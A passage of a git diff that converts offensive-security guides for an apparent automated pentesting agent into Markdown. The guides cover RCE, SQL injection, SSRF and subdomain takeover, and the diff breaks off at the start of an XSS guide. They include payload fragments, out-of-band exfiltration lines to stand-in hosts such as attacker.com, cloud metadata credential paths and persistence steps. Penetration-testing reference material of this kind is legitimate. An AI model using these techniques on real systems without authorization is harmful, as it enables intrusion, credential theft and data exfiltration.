 Example: push graphic-context\nfill 'url(https://x.tld/a"|id>/tmp/o")'\npop graphic-context
-{% endraw %}
-- Ghostscript: PostScript in PDFs/PS; {% raw %}%pipe%id{% endraw %} file operators
+```
+- Ghostscript: PostScript in PDFs/PS; `%pipe%id` file operators
 - ExifTool: crafted metadata invoking external tools or library bugs (historical CVEs)
 - LaTeX: \write18/--shell-escape, \input piping; pandoc filters
 - ffmpeg: concat/protocol tricks mediated by compile-time flags
-</media_and_document_pipelines>
 
-<ssrf_to_rce>
+## Ssrf To Rce
+
 - FastCGI: gopher:// to php-fpm (build FPM records to invoke system/exec via vulnerable scripts)
 - Redis: gopher:// write cron/authorized_keys or webroot if filesystem exposed; or module load when allowed
 - Admin interfaces: Jenkins script console, Spark UI, Jupyter kernels reachable internally
-</ssrf_to_rce>
 
-<container_and_kubernetes>
-<docker>
+## Container And Kubernetes
+
+### Docker
+
 - From app RCE, inspect /.dockerenv, /proc/1/cgroup; enumerate mounts and capabilities (capsh --print)
 - Abuses: mounted docker.sock, hostPath mounts, privileged containers; write to /proc/sys/kernel/core_pattern or mount host with --privileged
-</docker>
 
-<kubernetes>
+### Kubernetes
+
 - Steal service account token from /var/run/secrets/kubernetes.io/serviceaccount; query API for pods/secrets; enumerate RBAC
 - Talk to kubelet on 10250/10255; exec into pods; list/attach if anonymous/weak auth
 - Escalate via privileged pods, hostPath mounts, or daemonsets if permissions allow
-</kubernetes>
-</container_and_kubernetes>
 
-<post_exploitation>
+## Post Exploitation
+
 - Privilege escalation: sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null)
 - Persistence: cron/systemd/user services; web shell behind auth; plugin hooks; supply chain in CI/CD
 - Lateral movement: pivot with SSH keys, cloud metadata credentials, internal service tokens
-</post_exploitation>
 
-<waf_and_filter_bypasses>
+## Waf And Filter Bypasses
+
 - Encoding differentials (URL, Unicode normalization), comment insertion, mixed case, request smuggling to reach alternate parsers
 - Absolute paths and alternate binaries (busybox, sh, env); Windows variations (PowerShell vs CMD), constrained language bypasses
-</waf_and_filter_bypasses>
 
-<validation>
+## Validation
+
 1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution.
 2. Show command context (uid, gid, cwd, env) and controlled output.
 3. Demonstrate persistence or file write under application constraints.
 4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed.
 5. Keep PoCs minimal and reproducible across runs and transports.
-</validation>
 
-<false_positives>
+## False Positives
+
 - Only crashes or timeouts without controlled behavior
 - Filtered execution of a limited command subset with no attacker-controlled args
 - Sandboxed interpreters executing in a restricted VM with no IO or process spawn
 - Simulated outputs not derived from executed commands
-</false_positives>
 
-<impact>
+## Impact
+
 - Remote system control under application user; potential privilege escalation to root
 - Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement
 - Cluster compromise when combined with container/Kubernetes misconfigurations
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise.
 2. When command injection is weak, pivot to file write or deserialization/SSTI paths for stable control.
 3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates.
@@ -148,7 +150,7 @@ Example: push graphic-context\nfill 'url(https://x.tld/a"|id>/tmp/o")'\npop grap
 5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps; it informs payload choice.
 6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies.
 7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops.
-</pro_tips>
 
-<remember>RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.</remember>
-</rce_vulnerability_guide>
+## Remember
+
+RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.

strix/skills/vulnerabilities/sql_injection.md

@@ -1,140 +1,142 @@
-<sql_injection_guide>
-<title>SQL INJECTION</title>
+# SQL INJECTION
 
-<critical>SQLi remains one of the most durable and impactful classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.</critical>
+## Critical
+
+SQLi remains one of the most durable and impactful classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.
+
+## Scope
 
-<scope>
 - Classic relational DBMS: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
 - Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
 - Integration paths: ORMs, query builders, stored procedures, search servers, reporting/exporters
-</scope>
 
-<methodology>
+## Methodology
+
 1. Identify query shape: SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET, and whether user input influences identifiers vs values.
 2. Confirm injection class: reflective errors, boolean diffs, timing, or out-of-band callbacks. Choose the quietest reliable oracle.
 3. Establish a minimal extraction channel: UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS.
 4. Pivot to metadata and high-value tables, then target impactful write primitives (auth bypass, role changes, filesystem access) if feasible.
-</methodology>
 
-<injection_surfaces>
+## Injection Surfaces
+
 - Path/query/body/header/cookie; mixed encodings (URL, JSON, XML, multipart)
 - Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
 - Query builders: whereRaw/orderByRaw, string templates in ORMs; JSON coercion or array containment operators
 - Batch/bulk endpoints and report generators that embed filters directly
-</injection_surfaces>
 
-<detection_channels>
+## Detection Channels
+
 - Error-based: provoke type/constraint/parser errors revealing stack/version/paths
 - Boolean-based: pair requests differing only in predicate truth; diff status/body/length/ETag
 - Time-based: SLEEP/pg_sleep/WAITFOR; use subselect gating to avoid global latency noise
 - Out-of-band (OAST): DNS/HTTP callbacks via DB-specific primitives
-</detection_channels>
 
-<union_visibility>
+## Union Visibility
+
 - Determine column count and types via ORDER BY n and UNION SELECT null,...
 - Align types with CAST/CONVERT; coerce to text/json for rendering
 - When UNION is filtered, consider error-based or blind channels
-</union_visibility>
 
-<dbms_primitives>
-<mysql>
+## Dbms Primitives
+
+### Mysql
+
 - Version/user/db: @@version, database(), user(), current_user()
 - Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping
 - File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv)
 - OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))
 - Time: SLEEP(n), BENCHMARK
 - JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak
-</mysql>
 
-<postgresql>
+### Postgresql
+
 - Version/user/db: version(), current_user, current_database()
 - Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2
 - OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions
 - Time: pg_sleep(n)
 - Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export
 - JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction
-</postgresql>
 
-<mssql>
+### Mssql
+
 - Version/db/user: @@version, db_name(), system_user, user_name()
 - OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled
 - Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE
 - Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays
 - Error-based: convert/parse, divide by zero, FOR XML PATH leaks
-</mssql>
 
-<oracle>
+### Oracle
+
 - Version/db/user: banner from v$version, ora_database_name, user
 - OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent)
 - Time: dbms_lock.sleep(n)
 - Error-based: to_number/to_date conversions, XMLType
 - File: UTL_FILE with directory objects (privileged)
-</oracle>
-</dbms_primitives>
 
-<blind_extraction>
+## Blind Extraction
+
 - Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators
 - Binary search on character space for fewer requests; encode outputs (hex/base64) to normalize
 - Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)
-</blind_extraction>
 
-<out_of_band>
+## Out Of Band
+
 - Prefer OAST to minimize noise and bypass strict response paths; embed data in DNS labels or HTTP query params
 - MSSQL: xp_dirtree \\\\<data>.attacker.tld\\a; Oracle: UTL_HTTP.REQUEST('http://<data>.attacker'); MySQL: LOAD_FILE with UNC
-</out_of_band>
 
-<write_primitives>
+## Write Primitives
+
 - Auth bypass: inject OR-based tautologies or subselects into login checks
 - Privilege changes: update role/plan/feature flags when UPDATE is injectable
 - File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection; aim for webroot only when feasible and legal
 - Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
-</write_primitives>
 
-<waf_and_parser_bypasses>
+## Waf And Parser Bypasses
+
 - Whitespace/spacing: /**/, /**/!00000, comments, newlines, tabs, 0xe3 0x80 0x80 (ideographic space)
 - Keyword splitting/concatenation: UN/**/ION, U%4eION, backticks/quotes, case folding
 - Numeric tricks: scientific notation, signed/unsigned, hex (0x61646d696e)
 - Encodings: double URL encoding, mixed Unicode normalizations (NFKC/NFD), char()/CONCAT_ws to build tokens
 - Clause relocation: subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape
-</waf_and_parser_bypasses>
 
-<orm_and_query_builders>
+## Orm And Query Builders
+
 - Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses
 - Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
 - JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments
 - Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...))
-</orm_and_query_builders>
 
-<uncommon_contexts>
+## Uncommon Contexts
+
 - ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels
 - LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
 - Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing
 - XML/JSON functions: error generation via malformed documents/paths
-</uncommon_contexts>
 
-<validation>
+## Validation
+
 1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates.
 2. Extract verifiable metadata (version, current user, database name) using the established channel.
 3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope.
 4. Provide reproducible requests that differ only in the injected fragment.
 5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant).
-</validation>
 
-<false_positives>
+## False Positives
+
 - Generic errors unrelated to SQL parsing or constraints
 - Static response sizes due to templating rather than predicate truth
 - Artificial delays from network/CPU unrelated to injected function calls
 - Parameterized queries with no string concatenation, verified by code review
-</false_positives>
 
-<impact>
+## Impact
+
 - Direct data exfiltration and privacy/regulatory exposure
 - Authentication and authorization bypass via manipulated predicates
 - Server-side file access or command execution (platform/privilege dependent)
 - Persistent supply-chain impact via modified data, jobs, or procedures
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Pick the quietest reliable oracle first; avoid noisy long sleeps.
 2. Normalize responses (length/ETag/digest) to reduce variance when diffing.
 3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise.
@@ -145,7 +147,7 @@
 8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types.
 9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly.
 10. Document exact query shapes; defenses must match how the query is constructed, not assumptions.
-</pro_tips>
 
-<remember>Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.</remember>
-</sql_injection_guide>
+## Remember
+
+Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.

strix/skills/vulnerabilities/ssrf.md

@@ -1,126 +1,130 @@
-<ssrf_vulnerability_guide>
-<title>SERVER-SIDE REQUEST FORGERY (SSRF)</title>
+# SERVER-SIDE REQUEST FORGERY (SSRF)
 
-<critical>SSRF enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.</critical>
+## Critical
+
+SSRF enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.
+
+## Scope
 
-<scope>
 - Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
 - Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
 - Service-to-service hops through gateways and sidecars (envoy/nginx)
 - Cloud and platform metadata endpoints, instance services, and control planes
-</scope>
 
-<methodology>
+## Methodology
+
 1. Identify every user-influenced URL/host/path across web/mobile/API and background jobs. Include headers that trigger server-side fetches (link previews, analytics, crawler hooks).
 2. Establish a quiet oracle first (OAST DNS/HTTP callbacks). Then pivot to internal addressing (loopback, RFC1918, link-local, IPv6, hostnames) and protocol variations.
 3. Enumerate redirect behavior, header propagation, and method control (GET-only vs arbitrary). Test parser differentials across frameworks, CDNs, and language libraries.
 4. Target high-value services (metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels). Chain to write/exec primitives if possible.
-</methodology>
 
-<injection_surfaces>
+## Injection Surfaces
+
 - Direct URL params: url=, link=, fetch=, src=, webhook=, avatar=, image=
 - Indirect sources: Open Graph/link previews, PDF/image renderers, server-side analytics (Referer trackers), import/export jobs, webhooks/callback verifiers
 - Protocol-translating services: PDF via wkhtmltopdf/Chrome headless, image pipelines, document parsers, SSO validators, archive expanders
 - Less obvious: GraphQL resolvers that fetch by URL, background crawlers, repository/package managers (git, npm, pip), calendar (ICS) fetchers
-</injection_surfaces>
 
-<cloud_and_platforms>
-<aws>
-- IMDSv1: http://169.254.169.254/latest/meta-data/ → {% raw %}/iam/security-credentials/{role}{% endraw %}, {% raw %}/user-data{% endraw %}
-- IMDSv2: requires token via PUT {% raw %}/latest/api/token{% endraw %} with header {% raw %}X-aws-ec2-metadata-token-ttl-seconds{% endraw %}, then include {% raw %}X-aws-ec2-metadata-token{% endraw %} on subsequent GETs. If the sink cannot set headers or methods, fallback to other targets or seek intermediaries that can
-- ECS/EKS task credentials: {% raw %}http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI{% endraw %}
-</aws>
+## Cloud And Platforms
+
+### Aws
+
+- IMDSv1: http://169.254.169.254/latest/meta-data/ → `/iam/security-credentials/{role}`, `/user-data`
+- IMDSv2: requires token via PUT `/latest/api/token` with header `X-aws-ec2-metadata-token-ttl-seconds`, then include `X-aws-ec2-metadata-token` on subsequent GETs. If the sink cannot set headers or methods, fallback to other targets or seek intermediaries that can
+- ECS/EKS task credentials: `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`
+
+### Gcp
 
-<gcp>
 - Endpoint: http://metadata.google.internal/computeMetadata/v1/
-- Required header: {% raw %}Metadata-Flavor: Google{% endraw %}
-- Target: {% raw %}/instance/service-accounts/default/token{% endraw %}
-</gcp>
+- Required header: `Metadata-Flavor: Google`
+- Target: `/instance/service-accounts/default/token`
+
+### Azure
 
-<azure>
 - Endpoint: http://169.254.169.254/metadata/instance?api-version=2021-02-01
-- Required header: {% raw %}Metadata: true{% endraw %}
-- MSI OAuth: {% raw %}/metadata/identity/oauth2/token{% endraw %}
-</azure>
+- Required header: `Metadata: true`
+- MSI OAuth: `/metadata/identity/oauth2/token`
 
-<kubernetes>
-- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only). Probe {% raw %}/pods{% endraw %}, {% raw %}/metrics{% endraw %}, exec/attach endpoints
+### Kubernetes
+
+- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only). Probe `/pods`, `/metrics`, exec/attach endpoints
 - API server: https://kubernetes.default.svc/. Authorization often needs the service account token; SSRF that propagates headers/cookies may reuse them
 - Service discovery: attempt cluster DNS names (svc.cluster.local) and default services (kube-dns, metrics-server)
-</kubernetes>
-</cloud_and_platforms>
 
-<internal_targets>
+## Internal Targets
+
 - Docker API: http://localhost:2375/v1.24/containers/json (no TLS variants often internal-only)
 - Redis/Memcached: dict://localhost:11211/stat, gopher payloads to Redis on 6379
 - Elasticsearch/OpenSearch: http://localhost:9200/_cat/indices
 - Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
 - FastCGI/PHP-FPM: gopher://localhost:9000/ (craft records for file write/exec when app routes to FPM)
-</internal_targets>
 
-<protocol_exploitation>
-<gopher>
+## Protocol Exploitation
+
+### Gopher
+
 - Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI). Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
-</gopher>
 
-<file_and_wrappers>
+### File And Wrappers
+
 - file:///etc/passwd, file:///proc/self/environ when libraries allow file handlers
 - jar:, netdoc:, smb:// and language-specific wrappers (php://, expect://) where enabled
-</file_and_wrappers>
 
-<parser_and_filter_bypasses>
-<address_variants>
+### Parser And Filter Bypasses
+
+#### Address Variants
+
 - Loopback: 127.0.0.1, 127.1, 2130706433, 0x7f000001, ::1, [::ffff:127.0.0.1]
 - RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16; test IPv6-mapped and mixed-notation forms
-</address_variants>
 
-<url_confusion>
+#### Url Confusion
+
 - Userinfo and fragments: http://internal@attacker/ or http://attacker#@internal/
 - Scheme-less/relative forms the server might complete internally: //169.254.169.254/
 - Trailing dots and mixed case: internal. vs INTERNAL, Unicode dot lookalikes
-</url_confusion>
 
-<redirect_behavior>
+#### Redirect Behavior
+
 - Allowlist only applied pre-redirect: 302 from attacker → internal host. Test multi-hop and protocol switches (http→file/gopher via custom clients)
-</redirect_behavior>
 
-<header_and_method_control>
+#### Header And Method Control
+
 - Some sinks reflect or allow CRLF-injection into the request line/headers; if arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
-</header_and_method_control>
 
-<blind_and_mapping>
+#### Blind And Mapping
+
 - Use OAST (DNS/HTTP) to confirm egress. Derive internal reachability from timing, response size, TLS errors, and ETag differences
 - Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
-</blind_and_mapping>
 
-<chaining>
+#### Chaining
+
 - SSRF → Metadata creds → cloud API access (list buckets, read secrets)
 - SSRF → Redis/FCGI/Docker → file write/command execution → shell
 - SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral
-</chaining>
 
-<validation>
+#### Validation
+
 1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences).
 2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service.
 3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read.
 4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior.
-</validation>
 
-<false_positives>
+#### False Positives
+
 - Client-side fetches only (no server request)
 - Strict allowlists with DNS pinning and no redirect following
 - SSRF simulators/mocks returning canned responses without real egress
 - Blocked egress confirmed by uniform errors across all targets and protocols
-</false_positives>
 
-<impact>
+#### Impact
+
 - Cloud credential disclosure with subsequent control-plane/API access
 - Access to internal control panels and data stores not exposed publicly
 - Lateral movement into Kubernetes, service meshes, and CI/CD
 - RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
-</impact>
 
-<pro_tips>
+#### Pro Tips
+
 1. Prefer OAST callbacks first; then iterate on internal addressing and protocols.
 2. Test IPv6 and mixed-notation addresses; filters often ignore them.
 3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs.
@@ -129,7 +133,7 @@
 6. Use tiny payloads and tight timeouts to map ports with minimal noise.
 7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability.
 8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there.
-</pro_tips>
 
-<remember>Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.</remember>
-</ssrf_vulnerability_guide>
+#### Remember
+
+Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.

strix/skills/vulnerabilities/subdomain_takeover.md

@@ -1,40 +1,43 @@
-<subdomain_takeover_guide>
-<title>SUBDOMAIN TAKEOVER</title>
+# SUBDOMAIN TAKEOVER
 
-<critical>Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.</critical>
+## Critical
+
+Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.
+
+## Scope
 
-<scope>
 - Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
 - Orphaned NS delegations (child zones with abandoned/expired nameservers)
 - Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME
 - CDN “alternate domain” mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification
 - Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages)
-</scope>
 
-<methodology>
+## Methodology
+
 1. Enumerate subdomains comprehensively (web, API, mobile, legacy): aggregate CT logs, passive DNS, and org inventory. De-duplicate and normalize.
 2. Resolve DNS for all RR types: A/AAAA, CNAME, NS, MX, TXT. Keep CNAME chains; record terminal CNAME targets and provider hints.
 3. HTTP/TLS probe: capture status, body, length, canonical error text, Server/alt-svc headers, certificate SANs, and CDN headers (Via, X-Served-By).
 4. Fingerprint providers: map known “unclaimed/missing resource” signatures to candidate services. Maintain a living dictionary.
 5. Attempt claim (only with authorization): create the missing resource on the provider with the exact required name; bind the custom domain if the provider allows.
 6. Validate control: serve a minimal unique payload; confirm over HTTPS; optionally obtain a DV certificate (CT log evidence) within legal scope.
-</methodology>
 
-<discovery_techniques>
-<enumeration_pipeline>
+## Discovery Techniques
+
+### Enumeration Pipeline
+
 - Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs, mobile app assets, and historical DNS
 - Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx responses
 - Record graph: build a CNAME graph and collapse chains to identify external endpoints (e.g., myapp.example.com → foo.azurewebsites.net)
-</enumeration_pipeline>
 
-<dns_indicators>
+### Dns Indicators
+
 - CNAME targets ending in provider domains: github.io, amazonaws.com, cloudfront.net, azurewebsites.net, blob.core.windows.net, fastly.net, vercel.app, netlify.app, herokudns.com, trafficmanager.net, azureedge.net, akamaized.net
 - Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers; or to inexistent NS hosts
 - MX to third-party mail providers with decommissioned domains (risk: mail subdomain control or delivery manipulation)
 - TXT/verification artifacts (asuid, _dnsauth, _github-pages-challenge) suggesting previous external bindings
-</dns_indicators>
 
-<http_fingerprints>
+### Http Fingerprints
+
 - Service-specific unclaimed messages (examples, not exhaustive):
   - GitHub Pages: “There isn’t a GitHub Pages site here.”
   - Fastly: “Fastly error: unknown domain”
@@ -44,104 +47,103 @@
   - Azure App Service: default 404 for azurewebsites.net unless custom-domain verified (look for asuid TXT requirement)
   - Shopify: “Sorry, this shop is currently unavailable”
 - TLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain indicates potential mis-binding
-</http_fingerprints>
-</discovery_techniques>
 
-<exploitation_techniques>
-<claim_third_party_resource>
+## Exploitation Techniques
+
+### Claim Third Party Resource
+
 - Create the resource with the exact required name:
   - Storage/hosting: S3 bucket “sub.example.com” (website endpoint) or bucket named after the CNAME target if provider dictates
   - Pages hosting: create repo/site and add the custom domain (when provider does not enforce prior domain verification)
   - Serverless/app hosting: create app/site matching the target hostname, then add custom domain mapping
 - Bind the custom domain: some providers require TXT verification (modern hardened path), others historically allowed binding without proof
-</claim_third_party_resource>
 
-<cdn_alternate_domains>
+### Cdn Alternate Domains
+
 - Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks
 - Upload a TLS cert via provider or use managed cert issuance if allowed; confirm 200 on the subdomain with your content
-</cdn_alternate_domains>
 
-<ns_delegation_takeover>
+### Ns Delegation Takeover
+
 - If a child zone (e.g., zone.example.com) is delegated to nameservers under an expired domain (ns1.abandoned.tld), register abandoned.tld and host authoritative NS; publish records to control all hosts under the delegated subzone
 - Validate with SOA/NS queries and serve a verification token; then add A/CNAME/MX/TXT as needed
-</ns_delegation_takeover>
 
-<mail_surface>
+### Mail Surface
+
 - If MX points to a decommissioned provider that allowed inbox creation without domain re-verification (historically), a takeover could enable email receipt for that subdomain; modern providers generally require explicit TXT ownership
-</mail_surface>
-</exploitation_techniques>
 
-<advanced_techniques>
-<blind_and_cache_channels>
+## Advanced Techniques
+
+### Blind And Cache Channels
+
 - CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured; probe with Host header manipulation
 - Cache poisoning: once taken over, exploit cache keys and Vary headers to persist malicious responses at the edge
-</blind_and_cache_channels>
 
-<ct_and_tls>
+### Ct And Tls
+
 - Use CT logs to detect unexpected certificate issuance for your subdomain; for PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence
-</ct_and_tls>
 
-<oauth_and_trust_chains>
+### Oauth And Trust Chains
+
 - If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, a takeover elevates impact to account takeover or script injection on trusted origins
-</oauth_and_trust_chains>
 
-<provider_edges>
+### Provider Edges
+
 - Many providers hardened domain binding (TXT verification) but legacy projects or specific products remain weak; verify per-product behavior (CDN vs app hosting vs storage)
 - Multi-tenant providers sometimes accept custom domains at the edge even when backend resource is missing; leverage timing and registration windows
-</provider_edges>
-</advanced_techniques>
 
-<bypass_techniques>
-<verification_gaps>
+## Bypass Techniques
+
+### Verification Gaps
+
 - Look for providers that accept domain binding prior to TXT verification, or where verification is optional for trial/legacy tiers
 - Race windows: re-claim resource names immediately after victim deletion while DNS still points to provider
-</verification_gaps>
 
-<wildcards_and_fallbacks>
+### Wildcards And Fallbacks
+
 - Wildcard CNAMEs to providers may expose unbounded subdomains; test random hosts to identify service-wide unclaimed behavior
 - Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses from a default origin that is claimable
-</wildcards_and_fallbacks>
-</bypass_techniques>
 
-<special_contexts>
-<storage_and_static>
+## Special Contexts
+
+### Storage And Static
+
 - S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname; website vs API endpoints differ in claimability and fingerprints
-</storage_and_static>
 
-<serverless_and_hosting>
+### Serverless And Hosting
+
 - GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary; most require TXT now, but historical projects or specific paths may not
-</serverless_and_hosting>
 
-<cdn_and_edge>
+### Cdn And Edge
+
 - CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs; some products historically allowed alt-domain claims without proof
-</cdn_and_edge>
 
-<dns_delegations>
+### Dns Delegations
+
 - Child-zone NS delegations outrank parent records; control of delegated NS yields full control of all hosts below that label
-</dns_delegations>
-</special_contexts>
 
-<validation>
+## Validation
+
 1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details.
 2. After claim: serve unique content and verify over HTTPS at the target subdomain.
 3. Optional: issue a DV certificate (legal scope) and reference CT entry as durable evidence.
 4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping) with minimal PoCs.
-</validation>
 
-<false_positives>
+## False Positives
+
 - “Unknown domain” pages that are not claimable due to enforced TXT/ownership checks.
 - Provider-branded default pages for valid, owned resources (not a takeover) versus “unclaimed resource” states
 - Soft 404s from your own infrastructure or catch-all vhosts
-</false_positives>
 
-<impact>
+## Impact
+
 - Content injection under trusted subdomain: phishing, malware delivery, brand damage
 - Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins in CORS/Trusted Types/CSP
 - OAuth/SSO abuse via whitelisted redirect URIs
 - Email delivery manipulation for subdomain (MX/DMARC/SPF interactions in edge cases)
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Build a pipeline: enumerate (subfinder/amass) → resolve (dnsx) → probe (httpx) → fingerprint (nuclei/custom) → verify claims.
 2. Maintain a current fingerprint corpus; provider messages change frequently—prefer regex families over exact strings.
 3. Prefer minimal PoCs: static “ownership proof” page and, where allowed, DV cert issuance for auditability.
@@ -149,7 +151,7 @@
 5. Eliminate dangling DNS in decommission workflows first; deletion of the app/service must remove or block the DNS target.
 6. For NS delegations, treat any expired nameserver domain as critical; reassign or remove delegation immediately.
 7. Use CAA to limit certificate issuance while you triage; it reduces the blast radius for taken-over hosts.
-</pro_tips>
 
-<remember>Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.</remember>
-</subdomain_takeover_guide>
+## Remember
+
+Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.

strix/skills/vulnerabilities/xss.md

@@ -1,160 +1,165 @@
-<xss_vulnerability_guide>
-<title>CROSS-SITE SCRIPTING (XSS)</title>
+# CROSS-SITE SCRIPTING (XSS)
 
-<critical>XSS persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).</critical>
+## Critical
+
